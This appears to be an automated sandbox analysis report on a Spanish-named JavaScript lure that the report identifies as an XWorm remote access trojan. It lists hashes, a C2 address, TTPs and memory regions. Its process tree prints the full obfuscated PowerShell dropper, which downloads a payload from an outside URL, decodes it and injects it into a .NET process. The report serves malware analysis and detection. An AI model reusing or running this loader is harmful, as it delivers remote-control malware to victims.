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Resubmissions

22/01/2025, 16:06

250122-tkatcavpfl 10

22/01/2025, 12:23

250122-pkfx5swlgx 10

Analysis

  • max time kernel
    114s
  • max time network
    171s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/01/2025, 12:23

General

  • Target

    PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js

  • Size

    164KB

  • MD5

    730bef083fbd8b608106a9c34c98cdc1

  • SHA1

    4c8d3440733b2975d1c9a823df735cd11a3351a7

  • SHA256

    37c427cb456a7fadc42fdcca721a2e24c7f6a43892870b6683bf4bf83ba4f52c

  • SHA512

    1a4638ccc02d2774377a114c99fa3bf1e2e6790ae6c4c3ef35dc4d7ee146e4201f51c765d49c2ee3ecff3cef7f79ccdd1937bf479c3380da9e6b8276384e477c

  • SSDEEP

    1536:OWa831+p9/3zJ7WkAZexE7EnhqOWxK4YEYL734izQ6VzYfA75CKPd6BBPWa4pmGu:OWr31O9rtWKXVueEG7LzQ6VYAln2

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Extracted

Family

xworm

Version

5.0

C2

87.120.116.179:1300

Mutex

bCXBALbPlXwHNISd

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.saalF/selif/971.611.021.78//:p##h';$restoredText = $originalText -replace '#', 't';$fbPZicdpPLnNokLpLUUk = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$TuqGZoLcamOGIZZbRqKW = New-Object System.Net.WebClient;$WmpcoGKttRcdWLlKWOap = $TuqGZoLcamOGIZZbRqKW.DownloadData($fbPZicdpPLnNokLpLUUk);$cmNLWWGRiiJekGiZcLuk = [System.Text.Encoding]::UTF8.GetString($WmpcoGKttRcdWLlKWOap);$fpWRJWOTLKpKHbtnhiWW = '<<BASE64_START>>';$LUsnnSLKZLWRGHpeWhGj = '<<BASE64_END>>';$eChubkKfbGczPWskKNoL = $cmNLWWGRiiJekGiZcLuk.IndexOf($fpWRJWOTLKpKHbtnhiWW);$nKGLnWLPShqiGxnKZAnW = $cmNLWWGRiiJekGiZcLuk.IndexOf($LUsnnSLKZLWRGHpeWhGj);$eChubkKfbGczPWskKNoL -ge 0 -and $nKGLnWLPShqiGxnKZAnW -gt $eChubkKfbGczPWskKNoL;$eChubkKfbGczPWskKNoL += $fpWRJWOTLKpKHbtnhiWW.Length;$WWLsUZLpUcPmPGCLevKv = $nKGLnWLPShqiGxnKZAnW - $eChubkKfbGczPWskKNoL;$UlvqpiOWbKKZSWNeqbio = $cmNLWWGRiiJekGiZcLuk.Substring($eChubkKfbGczPWskKNoL, $WWLsUZLpUcPmPGCLevKv);$TdLuWlUmfWiLJdmqLLUO = -join ($UlvqpiOWbKKZSWNeqbio.ToCharArray() | ForEach-Object { $_ })[-1..-($UlvqpiOWbKKZSWNeqbio.Length)];$BiikSJUeSKARkKpcNKQW = [System.Convert]::FromBase64String($TdLuWlUmfWiLJdmqLLUO);$LBtKfieNpLWkpLoIoToG = [System.Reflection.Assembly]::Load($BiikSJUeSKARkKpcNKQW);$UcUKdWGZiocUWLqWcobb = [dnlib.IO.Home].GetMethod('VAI');$UcUKdWGZiocUWLqWcobb.Invoke($null, @($restoredText, 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam', 'aspnet_regbrowsers', 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','1','dSbCbiJheWuWALuLWWam','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3300
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:912

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3oa5sj2s.oro.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/912-25-0x0000000000400000-0x0000000000410000-memory.dmp

    Filesize

    64KB

  • memory/912-33-0x00000000062B0000-0x0000000006316000-memory.dmp

    Filesize

    408KB

  • memory/912-32-0x0000000005AC0000-0x0000000005ACA000-memory.dmp

    Filesize

    40KB

  • memory/912-31-0x0000000006090000-0x0000000006122000-memory.dmp

    Filesize

    584KB

  • memory/912-30-0x0000000005AE0000-0x0000000006084000-memory.dmp

    Filesize

    5.6MB

  • memory/912-29-0x0000000005190000-0x000000000522C000-memory.dmp

    Filesize

    624KB

  • memory/3300-22-0x00007FFFD9860000-0x00007FFFDA321000-memory.dmp

    Filesize

    10.8MB

  • memory/3300-6-0x00007FFFD9863000-0x00007FFFD9865000-memory.dmp

    Filesize

    8KB

  • memory/3300-23-0x0000021B79C00000-0x0000021B79DBA000-memory.dmp

    Filesize

    1.7MB

  • memory/3300-24-0x0000021B4EF80000-0x0000021B4EF8C000-memory.dmp

    Filesize

    48KB

  • memory/3300-21-0x00007FFFD9860000-0x00007FFFDA321000-memory.dmp

    Filesize

    10.8MB

  • memory/3300-28-0x00007FFFD9860000-0x00007FFFDA321000-memory.dmp

    Filesize

    10.8MB

  • memory/3300-20-0x00007FFFD9860000-0x00007FFFDA321000-memory.dmp

    Filesize

    10.8MB

  • memory/3300-19-0x00007FFFD9863000-0x00007FFFD9865000-memory.dmp

    Filesize

    8KB

  • memory/3300-18-0x00007FFFD9860000-0x00007FFFDA321000-memory.dmp

    Filesize

    10.8MB

  • memory/3300-17-0x00007FFFD9860000-0x00007FFFDA321000-memory.dmp

    Filesize

    10.8MB

  • memory/3300-7-0x0000021B4F070000-0x0000021B4F092000-memory.dmp

    Filesize

    136KB